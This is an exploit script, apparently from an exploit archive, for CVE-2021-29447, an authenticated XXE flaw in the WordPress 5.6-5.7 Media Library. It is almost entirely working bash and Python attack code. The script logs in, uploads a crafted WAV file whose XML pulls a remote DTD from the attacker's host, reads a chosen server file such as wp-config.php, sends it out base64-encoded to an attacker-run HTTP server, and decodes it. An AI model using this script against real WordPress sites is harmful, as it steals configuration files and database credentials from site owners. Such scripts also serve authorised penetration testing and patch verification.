```
# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection
(XXE) (Authenticated)
# Date: 16/09/2021
# Exploit Author: David Utón (M3n0sD0n4ld)
# Vendor Homepage: https://wordpress.com
# Affected Version: WordPress 5.6-5.7 & PHP8
# Tested on: Linux Ubuntu 18.04.5 LTS
# CVE : CVE-2021-29447

#!/bin/bash

# Author: @David_Uton (m3n0sd0n4ld)
# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST
# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php
10.11.XX.XX



# Variables
```

```
# Variables
rHost=$1
username=$2
password=$3
readFile=$4
lHost=$5

# Functions
# Logotype
logoType(){
    echo "
====================================
CVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library
(Authenticated)
------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
===================================="
}

# Create wav malicious
wavCreate(){
    echo -en "RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version='1.0'?>
<!DOCTYPE ANY[<!ENTITY % remote SYSTEM
'http://$lHost:8000/xx3.dtd'>%remote;%init;%trick;]>\x00" > payload.wav && echo "
[+] Create payload.wav"
}

# Create xx3.dtd
dtdCreate(){
cat <<EOT > xx3.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-
encode/resource=$readFile">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://$lHost:8000/?p=%file;'>" >
EOT
}

# wav upload
wavUpload(){
cat <<EOT > .upload.py
#/usr/bin/env python3

import requests, re, sys

postData = {
  'log':"$username",
  'pwd':"$password",
  'wp-submit':'Log In',
  'redirect_to':'http://$rHost/wp-admin/',
  'testcookie':1
}

r = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL
== verify=True

cookies = r.cookies

print("[+] Getting Wp Nonce ... ")

res = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :
  print("[-] Failed to retrieve the _wpnonce")
  exit(0)
```

```
else :
  wp_nonce = wp_nonce_list[0]
  print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce)

print("[+] Uploading the wav file ... ")

postData = {
  'name': 'payload.wav',
  'action': 'upload-attachment',
  '_wpnonce': wp_nonce
}

wav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}
r_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData,
files=wav, cookies=cookies)
if r_upload.status_code == 200:
  image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]
  _wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
  print('[+] Wav uploaded successfully')
else :
  print("[-] Failed to receive a response for uploaded! Try again . \n")
  exit(0)
EOT
python3 .upload.py
}

# Server Sniffer
serverSniffer(){
    statusServer=$(python3 -m http.server &> http.server.log & echo $! >
http.server.pid)
}

# Load file and decoder
loadFile(){
    content="http.server.log"
    wavUpload

    while :
    do
        if [[ -s $content ]]; then
            echo "[+] Obtaining file information..."

            sleep 5s # Increase time if the server is slow

            base64=$(cat $content | grep -i '?p=' | cut -d '=' -f2 | cut -d ' ' -
f1 | sort -u)

            # Check file exists
            echo "<?php echo zlib_decode(base64_decode('$base64')); ?>" >
decode.php
            sizeCheck=$(wc -c decode.php | awk '{printf $1}')
            if [[ $sizeCheck -gt "46" ]]; then
                php decode.php
            else
                echo "[!] File does not exist or is not allowed to be read."
            fi
            break
        fi
    done
}

# Cleanup
cleanup(){
    kill $(cat http.server.pid) &>/dev/null
    rm http.server.log http.server.pid &>/dev/null
```

```
    rm xx3.dtd payload.wav .upload.py decode.php .cookies.tmp &>/dev/null
}


# Execute
logoType

# Checking parameters
if [[ $# -ne 5 ]];then
    echo "[!] Parameters are missing!!!"
    echo ""
    echo "$ ./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT
LHOST"
else

    # Test Connection...
    echo "[*] Test connection to WordPress..."

    # WP Auth
    authCheck=$(curl -i -s -k -X $'POST' \
    -H "Host: $rHost" -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H
"Referer: http://$rHost/wp-login.php" -H $'Content-Type: application/x-www-form-
urlencoded' -H $'Content-Length: 79' -H "Origin: http://$rHost" -H $'Connection:
close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'wordpress_test_cookie=WP%20Cookie%20check' \
    --data-binary "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2Fwp-
admin%2F&testcookie=1" \
"http://$rHost/wp-login.php" > .cookies.tmp)

    auth=$(head -n 1  .cookies.tmp | awk '{ printf $2 }')

    # Running authentication with WordPress.

    if [[ $auth != "302" ]]; then
        echo "[-] Authentication failed ! Check username and password"
    else
        echo "[+] Authentication successfull!!!"


        # Create wav & dtd file
        wavCreate
        dtdCreate
        serverSniffer
        loadFile
        cleanup
    fi
fi
```